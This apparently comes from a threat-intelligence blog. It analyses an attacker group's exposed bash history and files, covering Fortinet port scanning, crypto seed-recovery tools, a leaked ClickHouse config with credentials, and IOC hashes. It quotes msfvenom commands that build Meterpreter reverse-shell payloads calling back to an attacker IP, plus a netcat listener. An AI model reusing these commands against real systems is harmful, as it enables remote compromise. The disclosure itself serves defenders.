Exposed Commands History of Moscow Hackers

A Moscow, Russia based hackers had mistakenly enabled directory listing, which exposed their files & directories. Most interesting files include .bash_history, shell.php, domains.txt, hosts.txt. The .bash_history file exposes the operational intelligence of the hackers. This article describes the key findings from the commands history file and other files.

Attack Against Australian Fortinet Services

Hackers downloaded the IP CIDRs of Australia from a GitHub repo and used the masscan tool to scan the Fortinet port 10443. Then they saved the output in a file named fortinet_au_10443.

Russian Text Commands by Mistake

The hackers’ keyboard layout was set to Russian. That’s why, when they tried to clear the terminal using the clear command, it became a Russian command сдуфк. So, they again ran the command in English as below-

Passwords of The Hackers

The hackers were editing their ClickHouse server configuration file with the below config, which contains their IP, user, password-

<clickhouse>
  <named_collections>
    <pg_ro>
      <host>5.181.187.104</host>
      <port>5432</port>
      <database>blackout</database>
      <user>blackout-user</user>
      <password>C8Dxa3Kk</password>
      <schema>public</schema>
    </pg_ro>
  </named_collections>
</clickhouse>

Generating Malicious Shell Using MSFvenom

The hackers generated reverse shell EXE exploits using MSFvenom using below commands-

# Более надежный payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=46.37.123.15 LPORT=9001 -f exe -a x86 --platform windows -o shell.exe
screen -D -r  na
msfvenom -p php/meterpreter_reverse_tcp LHOST=46.37.123.15 LPORT=9001 -f raw -o shell.php
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=46.37.123.15 LPORT=9001 -f aspx -o reverse.aspx
screen -D -r  na
nc -lvnp 9002 > system_info.txt

Crypto Seed Recovery Tools

Hackers downloaded crpto seed recovery tool named WalletGen from multiple GitHub repos-

• github.com/tonybtc1/seed-phrase-generator
• github.com/crypto-seed-recovery/crypto-seed-recovery

Some of which are currently not available. Although these are in Google search result with some additional GitHub repos i.e., ‘github.com/crypto-wallet-recovery-service/crypto-wallet-recovery-service’.

Use of 3rd Party Tools

The hackers are found to be using multiple tools. Unique tools are listed below with details-

• ClickHouse: Hackers used the debian version of ClickHouse. A open-source column-oriented DBMS.
• CIScan: Hackers CIScan it for discovering IP to ASN in their scan.

Hackers were also using many well known tools as well-

IOC (Indicator of Compromise)

Hash of ‘svc-host.exe’ file: c314887afb1f9315fdc55192279ab8be7a25f2b096fb660414fe7cbba877c06f

Hash of ‘walletgen’ file: 34e291c17aa43d4b50296cc4e54d9d874e558a20402d7b33670fcc1589d0b42f

Hash of ‘shell.php’ file: 31c7e43971eb2805927fbb8f682d16e062ac46177f813e0d9b0e474982031f0c